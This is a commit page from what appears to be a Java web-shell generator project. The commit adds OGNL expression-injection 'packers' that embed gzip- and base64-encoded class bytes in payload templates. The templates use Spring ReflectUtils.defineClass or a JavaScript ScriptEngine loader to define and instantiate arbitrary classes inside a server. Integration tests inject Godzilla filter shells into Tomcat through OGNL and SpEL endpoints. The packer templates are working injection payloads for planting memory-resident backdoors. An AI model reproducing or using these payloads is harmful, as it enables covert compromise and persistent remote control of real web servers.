Skip to content

Commit c9d873c

Browse files
committed
feat: support OGNL SpringUtils packers
1 parent 9e3ae9d commit c9d873c

File tree

12 files changed

+95
-18
lines changed

12 files changed

+95
-18
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -324,8 +324,8 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
324324
}
325325
case ScriptEngine -> VulTool.postData(url + "/js", content);
326326
case EL -> VulTool.postData(url + "/el", content);
327-
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
328-
case OGNL -> VulTool.postData(url + "/ognl", content);
327+
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content);
328+
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content);
329329
case MVEL -> VulTool.postData(url + "/mvel", content);
330330
case JXPath -> VulTool.postData(url + "/jxpath", content);
331331
case JEXL -> VulTool.postData(url + "/jexl2", content);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,9 +43,13 @@ public class Tomcat8ExpressionContainerTest {
4343
static Stream<Arguments> casesProvider() {
4444
return Stream.of(
4545
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
46-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNL),
46+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
47+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
48+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
4749
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
48-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpEL),
50+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
51+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
52+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
4953
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
5054
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
5155
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,6 +31,9 @@
3131
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
3232
import com.reajason.javaweb.packer.mvel.MVELPacker;
3333
import com.reajason.javaweb.packer.ognl.OGNLPacker;
34+
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
35+
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
36+
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
3437
import com.reajason.javaweb.packer.rhino.RhinoPacker;
3538
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
3639
import com.reajason.javaweb.packer.spel.SpELPacker;
@@ -83,7 +86,12 @@ public enum Packers {
8386
* EL
8487
*/
8588
EL(new ELPacker()),
89+
8690
OGNL(new OGNLPacker()),
91+
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
92+
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
93+
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
94+
8795
MVEL(new MVELPacker()),
8896
Aviator(new AviatorPacker()),
8997
JXPath(new JXPathPacker()),
Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,11 @@
11
package com.reajason.javaweb.packer.ognl;
22

3-
import com.reajason.javaweb.packer.ClassPackerConfig;
4-
import com.reajason.javaweb.packer.Packer;
5-
import com.reajason.javaweb.packer.Packers;
3+
import com.reajason.javaweb.packer.AggregatePacker;
64

75
/**
86
* @author ReaJason
97
* @since 2024/12/14
108
*/
11-
public class OGNLPacker implements Packer {
12-
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
9+
public class OGNLPacker implements AggregatePacker {
1310

14-
@Override
15-
public String pack(ClassPackerConfig config) {
16-
String script = Packers.ScriptEngine.getInstance().pack(config);
17-
return template.replace("{{script}}", script);
18-
}
1911
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.packer.ognl;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import com.reajason.javaweb.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/14
10+
*/
11+
public class OGNLScriptEnginePacker implements Packer {
12+
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
13+
14+
@Override
15+
public String pack(ClassPackerConfig config) {
16+
String script = Packers.ScriptEngine.getInstance().pack(config);
17+
return template.replace("{{script}}", script);
18+
}
19+
}
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package com.reajason.javaweb.packer.ognl;
2+
3+
import com.reajason.javaweb.packer.ClassPackerConfig;
4+
import com.reajason.javaweb.packer.Packer;
5+
import lombok.SneakyThrows;
6+
import org.apache.commons.codec.binary.Base64;
7+
8+
import java.io.ByteArrayOutputStream;
9+
import java.io.IOException;
10+
import java.util.zip.GZIPOutputStream;
11+
12+
/**
13+
* @author ReaJason
14+
* @since 2025/7/7
15+
*/
16+
public class OGNLSpringIOUtilsGzipPacker implements Packer {
17+
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
18+
19+
@Override
20+
@SneakyThrows
21+
public String pack(ClassPackerConfig config) {
22+
return template.replace("{{className}}", config.getClassName())
23+
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
24+
}
25+
26+
public static byte[] gzipCompress(byte[] data) throws IOException {
27+
ByteArrayOutputStream out = new ByteArrayOutputStream();
28+
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
29+
gzip.write(data);
30+
}
31+
return out.toByteArray();
32+
}
33+
}

packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsPacker.java renamed to packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringUtilsPacker.java

File renamed without changes.

packer/src/main/java/com/reajason/javaweb/packer/scriptengine/ScriptEnginePacker.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -28,6 +28,7 @@ public ScriptEnginePacker() {
2828
@SneakyThrows
2929
public String pack(ClassPackerConfig config) {
3030
return jsTemplate
31+
.replace("{{className}}", config.getClassName())
3132
.replace("{{base64Str}}", config.getClassBytesBase64Str())
3233
.replace("\n", "")
3334
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")

packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,10 @@
33
import com.reajason.javaweb.packer.ClassPackerConfig;
44
import com.reajason.javaweb.packer.Packer;
55
import lombok.SneakyThrows;
6+
import org.apache.commons.codec.binary.Base64;
67

78
import java.io.ByteArrayOutputStream;
89
import java.io.IOException;
9-
import java.util.Base64;
1010
import java.util.zip.GZIPOutputStream;
1111

1212

@@ -21,7 +21,7 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
2121
@SneakyThrows
2222
public String pack(ClassPackerConfig config) {
2323
return template.replace("{{className}}", config.getClassName())
24-
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())));
24+
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
2525
}
2626

2727
public static byte[] gzipCompress(byte[] data) throws IOException {

packer/src/main/resources/shell.js

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
var base64Str = "{{base64Str}}";
2+
var className = "{{className}}";
23
var clsString = java.lang.Class.forName("java.lang.String");
34
var bytecode;
45
try {
@@ -10,7 +11,7 @@ try {
1011
}
1112
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
1213
var clsInt = java.lang.Integer.TYPE;
13-
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
14+
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
1415
defineClass.setAccessible(true);
15-
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
16+
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
1617
clazz.newInstance();

0 commit comments

Comments
 (0)